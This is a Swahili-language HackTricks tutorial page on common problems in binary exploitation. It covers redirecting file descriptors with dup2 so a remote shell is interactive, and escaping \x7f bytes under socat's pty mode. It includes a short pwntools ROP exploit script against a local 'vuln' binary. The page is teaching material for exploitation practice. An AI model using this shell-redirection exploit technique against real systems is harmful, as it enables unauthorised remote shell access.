hacktricks/src/binary-exploitation/common-exploiting-problems.md

1.7 KiB

Matatizo ya Kawaida ya Kutumia

{{#include ../banners/hacktricks-training.md}}

FDs katika Utekelezaji wa Mbali

Wakati wa kutuma exploit kwa seva ya mbali inayopiga system('/bin/sh') kwa mfano, hii itatekelezwa katika mchakato wa seva, na /bin/sh itatarajia pembejeo kutoka stdin (FD: 0) na itachapisha matokeo katika stdout na stderr (FDs 1 na 2). Hivyo, mshambuliaji hataweza kuingiliana na shell.

Njia moja ya kutatua hili ni kudhani kwamba wakati seva ilianza iliumba FD nambari 3 (kwa kusikiliza) na kwamba kisha, muunganisho wako utaenda kuwa katika FD nambari 4. Hivyo, inawezekana kutumia syscall dup2 kuiga stdin (FD 0) na stdout (FD 1) katika FD 4 (ya muunganisho wa mshambuliaji) ili kufanya iwezekane kuwasiliana na shell mara itakapotekelezwa.

Mfano wa exploit kutoka hapa:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Kumbuka kwamba socat tayari inahamisha stdin na stdout kwa socket. Hata hivyo, hali ya pty inasababisha kuondolewa kwa wahusika. Hivyo, ikiwa utatuma \x7f ( DELETE -) it itaondoa wahusika wa awali wa exploit yako.

Ili kupita hili, mhusika wa kukimbia \x16 lazima aongezwe kabla ya yoyote \x7f inayotumwa.

Hapa unaweza kupata mfano wa tabia hii.

{{#include ../banners/hacktricks-training.md}}